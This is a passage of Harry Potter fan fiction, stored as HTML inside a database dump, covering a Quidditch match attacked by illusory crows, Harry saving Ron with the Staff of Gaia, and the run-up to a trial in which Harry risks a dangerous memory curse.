least. Heavy old rope wrapped around his wrists bit into the tender flesh there. His body was wracked with periodic tremors, both from the pain, and from the cold and damp conditions in which he was being held.</p>\n\n<p>&#8220;I thought that you might like to know that our Mr Pettigrew has finally done hisss job.&#8221;</p>\n\n<p>A terrified scream assaulted the air near Snape&#8217;s ears. </p>\n\n<p>&#8220;You will no longer be alone in this part of the house. And I thought that you might rather enjoy it, I do know how you so enjoy a good bit of sport.&#8221;</p>\n\n<p>&#8220;You don&#8217;t know me at all, Thomas.&#8221;</p>\n\n<p>Snape paid quite dearly for that, soon his own screams joined with the others, those sounds echoed throughout the stone cellars, up through the iron grate that led to the outside, and muffled through the large grounds surrounding the dilapidated castle, ending only a soft whisper on the cold night&#8217;s breeze. </p>\n\n<p>~o0o~</p>\n\n<p>&#8220;Duck!&#8221;</p>\n\n<p>Harry flipped his head down quickly.</p>\n\n<p>&#8220;Holy crap that was close!&#8221;</p>\n\n<p>It was the third bludger to get that close to him in the space of ten minutes.</p>\n\n<p>&#8220;Thanks.&#8221; He shouted to Angela.</p>\n\n<p>&#8220;Don&#8217;t thank me, get your head back in the game Potter. Find the goddamn snitch already!&#8221;</p>\n\n<p>&#8220;Yes Ma&#8217;am!&#8221; Harry shot back with a shadow of his usual grin. He shook his head to clear the cobwebs from his mind, and focused his frequently wandering attention back to the Quidditch pitch. Slytherin scored again.</p>\n\n<p>Draco and his teammates cronies flew into a premature victory pattern, and took a turn around the pitch. Great, not only was Harry off his game, but the rest of the school knew it too. Draco pulled up quite close to Harry, well close enough to shout at him anyway.</p>\n\n<p>&#8220;What&#8217;s the matter Potter, lost your nerve?&#8221; his Slytherin teammates laughed.</p>\n\n<p>&#8220;I don&#8217;t see you catching the snitch any quicker ferret-boy.&#8221; </p>\n\n<p>Okay, so it was a lame comeback, but Draco glared, and flew off anyway.</p>\n\n<p>Behind him in the Slytherin stands, some of the younger students were chanting</p>\n\n<p>&#8220;Potter doesn&#8217;t do the flyin&#8217;</p>\n\n<p>he just does the cryin&#8217;.&#8221;</p>\n\n<i><p>Okay I was wrong, that&#8217;s lame.</p>\n\n</i><p>But the more they sang, the more his concentration suffered, his vision seemed to blur, and his mind grew tired, too full of too many things to focus on a single task. </p>\n\n<p>A wave of pain shot through his right leg as a bludger skimmed past it, taking trouser leg and a layer of skin with it.</p>\n\n<p>&#8220;Merlin&#8217;s beard Harry! Are you alright?&#8221; One of the twins shouted.</p>\n\n<p>Harry gritted his teeth and nodded.</p>\n\n<i><p>Don&#8217;t think about the trial, don&#8217;t think about the trial, just look for the goddamn snitch already!</p>\n\n</i><p>Harry began his own chant. But was soon distracted by a flock of small birds flying past him. He found himself envying the simplicity of their lives, their freedom, of flight with only wings. His mind dozed off into a world of daydreams, until.</p>\n\n<p>&#8220;Potter behind you!&#8221;</p>\n\n<p>Harry threw himself parallel to his firebolt just in time to feel the air currents from a bludger flying over his head. Only a moment ago the centre of his back would have felt the impact, and he would likely have been thrown from his broomstick. It took him a few moment to realise the voice of his would-be-saviour was none other than Draco Malfoy. But the blond Slytherin ruined any old thoughts of gratitude Harry may have felt by shouting a few choice questions about Harry&#8217;s parentage and then.</p>\n\n<p>&#8220;If you want the game to stop, why don&#8217;t you just show Madam Hooch your scars, it seems to work on everybody else!&#8221;</p>\n\n<p>Draco flew off to continue his search for the snitch. His eyesight when it came to finding the small golden ball might be a bit dodgy, but Harry would admit to himself that the Slytherin did have almost perfect form in the air. Then the more pressing thought of </p>\n\n<i><p>Jesus Christ on a broomstick! Draco Malfoy just saved my life!</p>\n\n</i><p>Harry looked in the Slytherin&#8217;s direction.</p>\n\n<i><p>Merlin I really am slipping up. What were those calming exercises Moody taught me. Oh yeah, breath in, breath out, wake the hell up!</p>\n\n</i><p>Of course Mad-Eye usually followed this quite helpfully with ice-cold water, but in the absence of this, Harry settled for shaking his head.</p>\n\n<p>Harry started looking around for the snitch, tactically searching one area, and then moving onto the next. But as easy as this was, one complete turn of the pitch had still yielded nothing. And the fogginess in his mind, though clearing seemed to have a more definite edge to it, darkness. One that came from a part of his mind that Harry usually had little choice in visiting. The wind in the air suddenly seemed more bitter, Harry began to feel himself becoming more and more alert, his eyes darted all over the pitch. To coin a well-known comic-book phrase, his spidey-sense was tingling. Something was going to happen and it was going to happen soon. </p>\n\n<p>Below Harry, back in the game, Angelina Johnson shot passed two slytherins and scored a goal against a sluggish keeper. A few moments later, thanks in large to excellent passing between the three Gryffindor Chasers, they scored again. But the battle moved back up to the other end of the pitch, and even Ron&#8217;s perfect Hanging Starfish position could not prevent Slytherin from scoring. The game was one again dead even. </p>\n\n<p>It was clear to all watching that the players were beginning to tire. All began looking towards their supported teams Seekers. Willing them to find the snitch and end the game. But Harry was preoccupied. And Draco just wasn&#8217;t that good.</p>\n\n<p>But then, there it was. A tiny speck of gold moving at high speed, twenty feet above the pitch in the direction of the Ravenclaw stands. Despite Harry&#8217;s distraction, he saw it almost immediately, as surprisingly so did Draco.</p>\n\n<p>Tingling spidey-sense or not, Harry shot off like he had Aunt Marge\'s bull terriers hot on his heels. As their team-mates noticed what the Seekers had, the game almost stopped. They had been playing for almost an hour, who could blame them for taking a rest?</p>\n\n<p>Harry and Draco jostled against each other; neither gained any advantage in speed, neither gaining more distance on the other. </p>\n\n<p>Every muscle strained to their limits, both players were so intent on the golden snitch, which neither should have had time to register the very dark, very large black crow that swooped down in their direction. Warning bells sounded loud in Harry&#8217;s mind, giving him the precious few moments for him to take action. With all of his brute strength, Harry rammed into a shocked Draco, throwing both of them off course, avoiding the extended talons of the huge bird, and the almost certain pain of losing an eye each. Draco held onto his broomstick, just barely. Somehow managing to slow down and come out of the spin he&#8217;d been knocked into, and was about to call for a foul, when a loud piercing cry ripped through his eardrums. How close they came to bursting, he wouldn&#8217;t have even wanted to think about, but the constant ringing that had been left within them was testament to the power of that startling birds cry. The birds beak opened again as another piercing squawk issued forth, a sound that no living animal or man could ever have made. It sent chills, and a sense of foreboding into the hearts of all those present. </p>\n\n<p>Those with more sensitive hearing clasped both hands about ears that threatened them with the first trickles of blood. And then another bird appeared. Followed its equally large friend. They were so dark. Their feather reflected no light, as though they had flown out of the very blackness of a starless night. Their wingspan stretched for an impressive, if terrifying four feet. All three great birds possessed steely-coloured claws, thick with razor-sharp edges, two inches long. And all screamed as though the world might end, and they were the heralds.</p>\n\n<p>Flashes of colour shot through the air, the visible signs of spells that were ineffective against the birds. If anything they looked contemptuously at the teachers casting them, before flicking the magic away with a flap of a wing, or a screech of unearthly terror. Draco drew his broom up alongside Harry.</p>\n\n<p>&#8220;Merlin Potter! Somebody really has it in for you!&#8221;</p>\n\n<p>And with that he turned and moved downwards so that he could land on the pitch.</p>\n\n<p>The birds flew so close that Harry could smell them. Damp earth and a definite metallic tang, a distinctive odour of blood that Harry knew all too well. The closest bird let out another cry, one that should have deafened him, if he were anybody else.</p>\n\n<i></i><p><i>Thanks for that Voldemort. </i>A dry voice at the back of his mind said. An explosion of light almost threw Harry from his broom, though he knew it wasn&#8217;t deliberate. The spells coming from the teacher&#8217;s stands were increasing in power. But still they had no effect.</p>\n\n<p>Oddly enough, throughout all of this, Harry kept his ground (or air) and didn&#8217;t so much as flinch. The danger at the back of his mind was only a soft hum, like an echo of true danger long past. His conscious mind (at least he thought it was his mind) screamed at him to leave with all possible haste. But something else, something from which all his power flowed, it was trying to tell him something else. </p>\n\n<p>In the moment in which one of the great beasts began an effortless dive towards him, the moment in which it extended those claws, in which powerful muscles tensed and relaxed in perfect harmony, a moment of singular purpose to destroy the life in front of it; time for Harry almost stopped.</p>\n\n<p>For Harry he perceived the almost infinitesimally slow downward movement of a single feather, he perceived the soft wave of sound before it reached the drum of his ear which it would sound out its pattern upon. He saw a moment spread into many. And that was when he saw the truth. Time had stopped completely, the danger, which a moment ago was so evident, no longer existed. But as the image of the bird flickered back into being, Harry held out his right hand in front of him, palm away from the body. His meaning was clear, stop. </p>\n\n<p>The great shrieking bird didn&#8217;t stop, when time began again, it sped up, pain receptors all over Harry&#8217;s body tingled in momentary anticipation of pain, and then &#8230; nothing.</p>\n\n<p>The crow passed through him. It was an illusion, albeit a powerful one. But one with a fatal flaw, if you knew it was not real, it&#8217;s power was gone. Its cries would go unheard, the pain it could inflict would be no more than a tickle of evil intent. And the feeling of terror it evoked became amusement, as the projection showed the terrible disappointment of the one controlling it not to have achieved his murderous aim.</p>\n\n<p>The birds turned, eyes flashing red, and the attack was seemingly over.</p>\n\n<p>The Harry heard the sounds of cheering. His heart swelled, as his ego received a much-needed boost. Then he realised that the cheering came from one section of the Quidditch stands; the Slytherin section.</p>\n\n<i><p>What the hell?</p>\n\n</i><p>Harry looked down.</p>\n\n<i><p>Goddamn it!</p>\n\n</i><p>Draco Malfoy had caught the snitch! The sneaky little Slytherin had gone and caught it. Harry let out a barrage of curses that would have made McGonnagoll blush, and grown men whimper.</p>\n\n<p>But it was the terrified yell from the Gryffindor goalposts that ended his torrent of insults. Harry was startled by what he saw; Ron was bleeding. One of the birds had dug its great claws into the Ron&#8217;s shoulder, and ripped upwards, tearing through cloth and flesh, up to his jaw-line. The wounds were deep. Somehow, Ron didn&#8217;t know that the birds were not real, they still had power over him, and the malevolent force that drove the illusions had seen the fear in his friend&#8217;s eyes, and was using it to strike at him.</p>\n\n<p>&#8220;Ron!&#8221; Harry called out, shifting his firebolt into gear towards the redhead. And just as Harry was about to call out to Ron, to tell him about the crow&#8217;s true nature, the unthinkable happened. One of the great crows threw all of its weight at Ron&#8217;s injured side, and with a yell of pain, he fell.</p>\n\n<p>He was falling from almost one hundred feet above the ground.</p>\n\n<p>His scream would have been audible all the way to Hogwarts School. But the screams of emphatic terror that emanated from the crowd soon joined his. No spell could save him; none could slow him sufficiently so that only serious injury would be caused. There was simply nothing, nothing that anyone could do. Except for Harry.</p>\n\n<p>A knot of raw energy swelled inside of him, his ribs ached as though the very power within was straining to get out. The hammering of his heart became a dull thud that sounded like a distant war drum. The beat of this drum began to awaken something near primal within him, something which heated the blood within his veins, until he almost couldn&#8217;t stand it. The rushing sound of air within his ears clouded out all other sounds, he was surrounded by it. The air was bitterly cold, but the heat within his blood prevented him from feeling it.</p>\n\n<p>His voice though it seemed older and wiser than it was, passed through his lips in a commanding &#8216;NO.&#8217; </p>\n\n<p>Time slowed, Ron was still falling, but now no faster than a feather falls upon a gentle breeze. Harry&#8217;s hand once again moved in front of him, palm facing outwards, the energy within him building to an unbearable fiery heat.</p>\n\n<p>The heat, was white hot, the air around him crackled, the beginnings of a storm. </p>\n\n<p>But there was no cloud, no dark sky, and no sense of rainfall yet to come. The storm was around Harry, within him. Then the storm broke, exploding outward like the first bolt of lightening. The noise from this energy burst was an almost deafening roar to all those within the Quidditch pitch. But to Harry, the sound was no more than a pin dropping. His will called the Staff of Gaia to him, and it came. Bursting through the three feet thick old stonewalls of Dumbledore&#8217;s private study, in an explosion of power. The ancient ton-weight rocks scattered like pebbles, and began falling from the tower to the school grounds. But with time seemingly coming to a standstill, their descent was graceful and slow, as though they were locked into a strange ballet.</p>\n\n<p>The Staff arrived in Harry&#8217;s out-stretched hand so fast that seemed as though it had apparated into his grasp.</p>\n\n<p>Harry closed his eyes and breathed deeply.</p>\n\n<p>Time sped up again. Ron&#8217;s scream of terror came in loud and clear, as he sought his friend&#8217;s direction. His senses heightened and attuned to the world of magic, he felt, rather than saw Ron. His aura as it were, was unique, like all wizards, he possessed certain strengths and weaknesses, that was defined by the types of magic that moved around him. And it seemed that no wizard had any choice about which of these magic&#8217;s came near them, there was an attraction, almost like a gravitational pull, that drew some magic&#8217;s towards a wizards and repelled others. Harry was willing to bet that what he would term &#8216;love&#8217; magic, was repelled in its utmost by Voldemort. And Ron&#8217;s magic was distinctive, powerful, though his friend didn&#8217;t know it. The day that Ron found where his strengths lay, would be the day a new force to be reckoned with entered the world. </p>\n\n<p>Then Harry&#8217;s mind let go of all such conscious thought, as it moved to that higher place, he reached out with both staff and his will, and the raw power of it came as another audible crack of thunder to all. Then all eyes fell to Ron.</p>\n\n<p>Ron himself hadn&#8217;t really been thinking about much at all, as he began his descent, to him of course, time hadn&#8217;t slowed down at all, if anything there was far too little of it. Air currents buffeted him like a rag-doll, and the newly opened wounds on his shoulder and jaw stung agonizingly. And he was screaming like a girl.</p>\n\n<p>That particular stray thought caused him to shut his mouth very quickly. The sense of ego that was still slightly intact within the muddle of thoughts he was having, were not going to allow him to die like a complete wuss. He became quite calm; a sense of finality and endings meant that his earlier panic evaporated. As though he&#8217;d accepted that there was no intervention at hand, that the great unknown of death was now inevitable. He knew that his heart was beating rapidly inside of his cheat, pounding in both fear and absolute panic, but also found it difficult to care. He felt giddy almost&#8230; as though he&#8217;d drunk too much butterbeer.</p>\n\n<i><p>Ah, must be that adrenaline stuff &#8230; it&#8217;s nice. Someone should bottle it. </p>\n\n</i><p>A woman screaming his name brought him back out of his blissfully calm state. Hermione was screaming for him, terrified beyond belief.<i>\n\n</i></p><i>\n\n</i><p>It was sort of nice to know that she was going to miss him, but for Ron it also brought reality crashing back to him, and hit him with an almighty force. He was going to die.</p>\n\n<p>He wandered exactly how it was that a person became a ghost. There seemed to be no logical pattern to it. Maybe he could go and join Peeves the Poltergeist in raising havoc around the school, he could go home to see the family in the holidays, and to rattle the pipes with the ghoul in the attic.</p>\n\n<p>All these thoughts and more passed by in mere seconds, and all that was left now, was the end.</p>\n\n<p>He was slightly aware of the impact across his shoulders, but it was a distant memory compared to the bright and blinding light that filled his vision. He was mesmerised, by the intense beauty of it. He was enfolded in warmth, the sensation of being wrapped within a cosy old blanket, soft to the touch, a reminder of home, smelling of honey and warm apple pie.</p>\n\n<p>The bright light was not pure white; it danced with a kaleidoscope of colours in hues of pastel pinks, blues, yellows and green.</p>\n\n<i><p>So this is what it&#8217;s like to die. </p>\n\n</i><p>Ron knew only peace and contentment. The light above him began to clear, and Ron wondered what death would reveal to him.</p>\n\n<i><p>Sky?</p>\n\n</i><p>He could see the sky. Not only that, but he could see a number of red and yellow blurs moving against it.</p>\n\n<p>Was this the beginning of living his body behind?</p>\n\n<p>But it couldn&#8217;t be, because he still felt his heart hammering inside his chest, his breath caught in his lungs.</p>\n\n<p>His mind swam with the sudden knowledge that he was not in fact, dying, but very much alive, and floating on a sea of warm light. And the sea was softly sinking toward the ground.</p>\n\n<p>When he was just a few metres above the Quidditch pitch, the mattress beneath him began to shimmer, fading away, taking away its reassuring warmth, even as it tipped him slightly upwards, to come to a standing position when he finally touched the ground. </p>\n\n<p>Ron&#8217;s shaky legs held him as he looked up. And was almost clouted on the head as the Staff of Gaia fell vertically down to the pitch. And then it stopped two feet above the ground barely three inches from his nose. The crystal faded back to its usual unassuming dull grey colour.</p>\n\n<p>Far above him, Harry slumped forward on his broomstick, his arms and legs wrapping around it to lock him safely there. His exhaustion took hold, and the desire for a long hot shower, a good meal and a long night&#8217;s sleep was at the foremost in his mind. He rather hoped somebody would be coming to help him get down soon; it was rather chilly up here &#8230;</p>\n\n<p>Back in the Gryffindor stands, Hermione lay tiny and protected in Hagrid&#8217;s huge arms; a smile of blissful contentment graced her mouth, confusing her housemates. </p>\n\n<p>Her every nerve tingled with energy, it was like a sugar-high without the bad side effects. She felt more alive and more capable than she ever had in her entire life. </p>\n\n<p>And she knew why. </p>\n\n<p>Harry hadn&#8217;t just been siphoning off the unhelpful emotions and memories that would cloud his use of the staff, he was siphoning magical power too, a lot of magical power.</p>\n\n<p>Certain magic&#8217;s that Hermione had not yet discovered were bolstered, strengthened within her. And others that before, she might have struggle with &#8230; yes there were a few things she would have struggled with; but not anymore. </p>\n\n<p>The power he was sending were the remnants of a kind of magic that he no longer needed. </p>\n\n<p>For within this world of magic, there were wizards, and then there were Sorcerers and Mages.</p>\n\n<p>The latter two had been only fictional, a myth until now.</p>\n\n<p>Only Merlin was speculated to have been a Sorcerer. Their will was stronger; they connected to the basest elements of magic. They could see it; or so the fairytales said.</p>\n\n<p>Hermione had once questioned Dumbledore about whether they really had anything of worth to teach Harry, it seemed she had been right. From now on, Harry would be alone in this.</p>\n\n<p>Or at least that was what she thought.</p>\n\n<p>~o0o~</p>\n\n<p></p>\n\n<p>There we go, d&#8217;at was the end of that chappie, now onto what should be the last one of year 5- it&#8217;s sneaking past the twenty pages mark already, oops.</p>\n\n<p> This part was originally written much, much longer, the next chapter was part of it. But at some point it occurred to me it might be a bit inhumane of me to subject you guys to fifty pages at once.</p>\n\n<p>And thank you for reading this story, given how, now that the slightly disappointing Potter 5 is out, this fic now qualifies as AU.</p>\n\n<p>Hope to see y&#8217;all again soon!</p></font>\n\n '),
	(6, 6, ' <font face="Courier New" size="2"><p> Sorry to all who are still reading this story about the length of time it takes me to update- you get a chapter from me as often as you get a book from the great J.K.R herself. </p>\n\n<p> I want to thank everyone who gave me some support when another &#8216;author&#8217; hacked up half my story and used it as hers. And to those who wrote reviews and e-mailed me to see if I was still alive.</p>\n\n<p> At the moment I&#8217;m trying to apply to study at Uni next year, so a lot of my energy has been going there. Plus I&#8217;ve been writing a little Lord of the Rings story, which I might turn my attention back to now that year five of this story is done.</p>\n\n<p> There are a few naughty words in this story- I try to avoid using them, but sometimes a character really wants to swear.</p>\n\n<p> Warning for anyone who would like to be in a good mood when they get off the net, either go read a humour fic afterwards or avoid this like the plague, I didn&#8217;t put it in the angst section for nothing!</p>\n\n<p> I don&#8217;t own the Harry Potter stories, Ms. Rowling does, I&#8217;m just borrowing them for a while- except for book 5, didn&#8217;t like that.</p>\n\n<p> Take care chaps!</p>\n\n<p>\n\n</p>\n\n<p>Harry Potter and the Trial of Memories part four</p>\n\n<p></p>\n\n<p> &#8220;Absolutely not!&#8221; Lupin cried.</p>\n\n<p> &#8220;Are you out of your mind, old man?&#8221; Sirius seconded.</p>\n\n<p> &#8220;My godson is not going to end up a babbling idiot like Gilderoy Lockheart. I forbid it.&#8221;</p>\n\n<p> &#8220;You forbid me?&#8221; Harry asked quietly. His tone soft and dangerous, even Fletcher moved away a little. Sirius was too pre-occupied to notice any immediate danger to his person.</p>\n\n<p> &#8220;Fletcher I don&#8217;t care what you think, I will not have Harry risk his mind on some half-arsed magic that has only worked three times perfectly in the five-hundred years since it was invented!&#8221;</p>\n\n<p> &#8220;It&#8217;s up ter&#8217; Harry yer great twazzoc!&#8221;</p>\n\n<p> &#8220;Now you listen to me you old codger&#8230;&#8221;</p>\n\n<p> &#8220;QUIET!&#8221;</p>\n\n<p> Grown men, even one as old as Fletcher felt a shiver of fear run up their spines in response to the power emanating from fifteen-year old Harry Potter.</p>\n\n<p> Sirius looked on a little awed.</p>\n\n<i><p> When did he get so strong? </p>\n\n</i><p> &#8220;I&#8217;m the one who decided to do this. I know the risks involved and I&#8217;m old enough to decide whether or not I should be taking them. The option to do this should have been given to me at the beginning. I don&#8217;t appreciate people hiding things from me.&#8221; </p>\n\n<p> Harry levelled a hard glance at his godfather and Lupin.</p>\n\n<p> &#8220;Unless of course you want to try and force me not to.&#8221;</p>\n\n<p> Harry let his will loosen slightly, allowing the crystal in the Staff of Gaia to glow a soft amber, an audible thrum of power coming from the staff within the rebuilt alcove in Dumbledore&#8217;s office. The men got the general idea. Harry was becoming increasingly proficient in using the staff- when there were no life and death situations getting in the way, Harry had almost mastered using simple spells, the same way he would with a wand. Something about using a large staff with a glowing crystal, when saying &#8216;Wingargium Leviosa&#8217;, was far more impressive than waggling a small stick around.</p>\n\n<p> Harry was quite amused to see three grown men, and one half-giant tremble before him. Dumbledore on the other hand, merely seemed amused. He winked at Harry from beneath half-moon spectacles, trying quite unsuccessfully to stop himself from laughing.</p>\n\n<p> &#8220;Well gentlemen, I believe Mr Potter has made his position quite clear.&#8221;</p>\n\n<p> The old wizards face turned serious once again.</p>\n\n<p> &#8220;But I do wish you would reconsider Harry. Promise me you will at least think about it tonight. There would be no shame in pulling out of the Memorillius curse in the morning. There is a reason that they call it a curse and not a charm.&#8221;</p>\n\n<p> Harry smiled lightly, the glow in the staff diminished, as he reigned in his powers. Sirius let out a small sigh, absent-mindedly wiping the sheen of sweat from his brow.</p>\n\n<p> &#8220;I will Professor, I promise. Though I really don&#8217;t see any other choice.&#8221;</p>\n\n<p>~o0o~</p>\n\n<p> &#8220;Remus wait up!&#8221;</p>\n\n<p> The older man slowed his comparatively fast pace, in order to let Harry catch up.</p>\n\n<p> Harry paled slightly under the weight of Remus&#8217;s gaze. </p>\n\n<p> &#8220;I&#8217;m sorry. I should have talked to you about this.&#8221;</p>\n\n<p> &#8220;Yes, you should have.&#8221; The professor said coldly. He folded his arms over his chest.</p>\n\n<p> Remus realised he felt no gratification in the submissive posture Harry&#8217;s slender frame assumed. The young wizards shoulders slumped, his head bowed. </p>\n\n<p> &#8220;Harry.&#8221; Remus began, reaching forward to take Harry&#8217;s arm.</p>\n\n<p> Harry jerked his arm back, the still instinctive desire to protect himself, led him to take a step back as well. </p>\n\n<p> Remus moved his arms in a gesture of surrender, he felt as hurt by Harry&#8217;s inability to trust adult males, as Harry felt embarrassed by his uncontrollable reactions.</p>\n\n<p> &#8220;I&#8217;m sorry, I didn&#8217;t mean to do that.&#8221;</p>\n\n<p> &#8220;It&#8217;s not your fault.&#8221; Remus replied hoarsely.</p>\n\n<p> &#8220;It is.&#8221;</p>\n\n<p> Harry hadn&#8217;t meant to say that. In fact he said it so softly that a normal human being wouldn&#8217;t have heard it. But then Remus had wolfishly good hearing. He strode forward, forgetting Harry&#8217;s issues with personal space, and ignored the young man&#8217;s flinch as he grasped his arm.</p>\n\n<p> &#8220;Harry, you listen to me. None of this is your fault. Not your Uncle, not the tournament, not Voldemort, and not Cedric. None of it was your fault, do you understand me?&#8221;</p>\n\n<p> Harry nodded, sullenly. Remus sighed. </p>\n\n<p> &#8220;You know, I once knew someone a lot like you. He blamed himself for everything that ever went wrong. He blamed himself for deaths he couldn&#8217;t have prevented; he blamed himself for the bad things that happened to his friends. And thought that he brought everything on himself.&#8221;</p>\n\n<p> &#8220;What happened to him?&#8221; </p>\n\n<p> &#8220;I got over it.&#8221; </p>\n\n<p>\n\n</p>\n\n<p>~o0o~</p>\n\n<p> &#8220;Of course you&#8217;re not going to do it! Tell him Ron!&#8221;</p>\n\n<p> Ron shrugged. Hermione slugged his arm.</p>\n\n<p> &#8220;Ow, what did you do that for?&#8221;</p>\n\n<p> &#8220;You&#8217;re supposed to be talking your best friend out of committing suicide!&#8221;</p>\n\n<p> &#8220;Not much point really.&#8221;</p>\n\n<p> &#8220;Not much point!!! What do you mean, not much point!?&#8221; Hermione shrieked.</p>\n\n<p> Ron shrugged again.</p>\n\n<p> &#8220;Harry&#8217;s made up his mind, there&#8217;s not much point in trying to change it. All I can say is best of luck to him, hope you don&#8217;t go mad. I ain&#8217;t gonna argue with the bloke who saved me life.&#8221;</p>\n\n<p> &#8220;Thanks Ron.&#8221;</p>\n\n<p> &#8220;No problem Harry.&#8221;</p>\n\n<p> Hermione let out a very guttural cry of exasperation.</p>\n\n<p> &#8220;Harry you can&#8217;t do this!&#8221;</p>\n\n<p> &#8220;What you think I can&#8217;t handle it?&#8221;</p>\n\n<p> &#8220;I didn&#8217;t mean it like that and you know it. The risk on this one is far bigger than even your ego!&#8221;</p>\n\n<p> &#8220;It is not! I mean my ego isn&#8217;t that big!&#8221;</p>\n\n<p> &#8220;You&#8217;re not even waiting for Fletcher to cross-examine Rita!&#8221;</p>\n\n<p> &#8220;You heard her, I doubt that even Fletcher could come up with anything to make the jury question her word. She comes across as someone genuinely remorseful for some of the things she&#8217;d done. If you hadn&#8217;t had&#8230;&#8221; Harry broke off.</p>\n\n<p> &#8220;Go on.&#8221; Hermione said shortly. </p>\n\n<p> &#8220;Finish it. If I hadn&#8217;t forgotten about her, this wouldn&#8217;t be happening, and you wouldn&#8217;t feel like you had no other choice. Well I&#8217;m sorry, that finding out that you were hurt was more important to me than that woman!&#8221;</p>\n\n<p> &#8220; &#8216;Mione.&#8221; Harry said softly.</p>\n\n<p> Calling her by that name, quickly got her attention, as well as Ron&#8217;s, who&#8217;d never heard Harry call her that before.</p>\n\n<p> &#8220;You know why I&#8217;m doing this. It&#8217;s nothing to do with an ego trip. It&#8217;s to do with not having much choice.&#8221;</p>\n\n<p> Hermione cast her eyes downwards to look at the wooden planks of the bench they sat on.</p>\n\n<p> &#8220;Hermione I don&#8217;t much fancy going off my rocker either. Merlin knows if a pensieve were permissible in court I&#8217;d use it, but it isn&#8217;t. A pensieve is all too much of one person&#8217;s perspective, and memories change, as you get older. The Memorillius curse&#8230;&#8221;</p>\n\n<p> &#8220;A curse Harry! It&#8217;s called a curse because it&#8217;s as likely to kill you, as it is to prove what happened to you. What good is justice if you&#8217;re not around to see it?&#8221;</p>\n\n<p> Harry took a deep breath.</p>\n\n<p> &#8220;Hermione, please I need to do this. I don&#8217;t want my Uncle to get away with it, with what he did to me &#8230; if I want to get on with my life, and not spend the rest of it having people doubt my word &#8230; and I&#8217;ve got this whole rubbish destiny thingy to think about.&#8221;</p>\n\n<p> Harry gently put two fingers to her throat, and slid them under her chin, pushing it upwards so that she face him again.</p>\n\n<p> &#8220;&#8217;Mione, I need your support right now. It&#8217;s important to me.&#8221;</p>\n\n<p> &#8220;Alright, I suppose I can support you, doesn&#8217;t mean I have to like it.&#8221;</p>\n\n<p> Harry smiled and dropped his fingers, sharing a grin with Ron.</p>\n\n<p> &#8220;Well personally, I think Hermione&#8217;s just worried about how you snuffing it or going a bit Moody on us will affect all that nice extra power she&#8217;s getting. Ow!&#8221;</p>\n\n<p> Ron rubbed his arm again.</p>\n\n<p> &#8220;That never came into my mind Ronald Weasley!&#8221;</p>\n\n<p> &#8220;Bet it did!&#8221;</p>\n\n<p> &#8220;Did not!&#8221;</p>\n\n<p> &#8220;Did too!&#8221;</p>\n\n<p> &#8220;Did not!&#8221;</p>\n\n<p> &#8220;Did too!&#8221;</p>\n\n<p> &#8220;Did not!&#8221;</p>\n\n<p> Harry raised his eyes and whispered silently to any god who may be listening.</p>\n\n<p> &#8220;Why me?&#8221;</p>\n\n<p> Draco Malfoy and his usual cronies walked passed. Draco smirked at the increasingly childish insults being thrown by Ron and Hermione at each other.</p>\n\n<p> &#8220;Says who? You bucked-toothed, bushy-haired swot!&#8221;</p>\n\n<p> &#8220;At least I stand a chance of passing my O.W.L&#8217;s you ginger-haired muppet!&#8221;</p>\n\n<p> Draco smirked.</p>\n\n<p> &#8220;Another day in paradise eh Potter?&#8221;</p>\n\n<p> Harry grunted.</p>\n\n<p>\n\n</p>\n\n<p> ~o0o~</p>\n\n<p> The silence in the courtroom was oppressive. Aside from the odd cough, and hushed whisper, the overwhelming weight of people&#8217;s expectations pressed heavily on Harry. </p>\n\n<p> The courtroom itself shone with in golden warmth, lit up by the early morning sun. It was a warmth that prickled at the skin, raising hair on bare arms, reminding people of lazy summer days spent reading in the garden, soft smells of freshly mown grass, and the scent of honeysuckle hung in the air. To Harry the warmth seemed a betrayal of what the day was bringing for him. If it had been cold, wet and foggy, it might have been a truer representation of how he felt. </p>\n\n<p> Those in the courtroom who were close to Harry were also aware of a deep cold, of an icy grip around their hearts. The only heat they were aware of was that of their own anger that Harry was subjecting himself to this.</p>\n\n<p> Mr Hayes was good. Four people believed Harry&#8217;s story, two were unsure, and six others believed Vernon&#8217;s story, despite Harry showing his scars earlier that week. Mr Hayes pointed out that Harry and the others who&#8217;d been there on the night of his return to the Burrow were clearly hiding something, because if his injuries were as bad as they claimed, how had it been that they had been able to heal him at all? Quite simply, Dumbledore had saved his life by using the Staff of Gaia, but they couldn&#8217;t tell the court that.</p>\n\n<p> Quite appallingly, in Harry&#8217;s opinion, was the inclusion of the press on this particular day. He&#8217;d accepted that they were there before, but this was just too personal. The Memorillius curse used a combination of charms and potions, to show events from a person&#8217;s past. It wasn&#8217;t quite like a pensieve; a pensieve would have been much less invasive for one. Because a person&#8217;s memory was not always a reliable thing, memories changing over time as people looked back with a new perspective, a pensieve was therefore considered unreliable by muggles. But they would accept testimony from memories seen under the Memorillius curse. Why? Because in this curse a form of limited time travelling was involved. </p>\n\n<p> The magic was powerful, almost with a life, or intelligence of its own. Memories were removed from the mind of the person undergoing the curse, and then a more advanced form of Time-Turner used those memories to &#8216;scan&#8217; the past, in order to show the event as it really happened. The danger of the spell was that most people, when freed of these memories, didn&#8217;t want them back, particularly if what they had been through was very traumatic. And without this part of them, the mind would no longer be whole. Most went insane. A few who&#8217;d had large amounts of memory removed, simply lapsed into comas, and then died, as so little of their minds were left intact.</p>\n\n<p> It was these little facts about the curse that left Fletcher wishing he&#8217;d never suggested it to Harry. Black and the others had been perfectly within their rights to be angry with him, he was angry with himself.</p>\n\n<p> Lupin wasn&#8217;t only angry with Fletcher, he was angry with Dumbledore for not doing more to talk Harry out of it. He and Sirius might have some sway on Harry&#8217;s opinions, but Dumbledore had a fantastic amount. If he had really tried, Lupin was pretty certain that the old headmaster would have talked him out of it. But he hadn&#8217;t. What if, by some miracle, Harry didn&#8217;t go insane, or fall into a coma, what if his memories about the Staff came to light? How would they explain that? There was so little control over this magic. You could see a dream instead of a memory. Instead of a traumatic event you might see Harry brushing his teeth, or even using the loo. You might see a random daydream, and though Lupin was sure that Harry was a good lad, he knew what kind of daydreams most fifteen year old boys were subject to having, and he thought Hermione might be somewhat embarrassed if Lupin&#8217;s suspicions about Harry&#8217;s feelings for her proved to be true. </p>\n\n<p> Most of the press who had been allowed into the courtroom, a Daily Prophet reporter, &#8216;The Quibbler&#8217;, two other smaller British newspapers also had reporters there, as well as a handful of representatives from international papers. The Daily Prophet reporter had thus far been writing a rather one-sided report on the trial, getting all of his information from a rather unreliable source. It came from a security wizard by the name of Thomas Mistspellt. And most of his information seemed to focus on Harry&#8217;s immediate carer Remus Lupin. Today was the first time that the reporter had gotten into the trial by legitimate means, and the first day that something alike to the truth might be 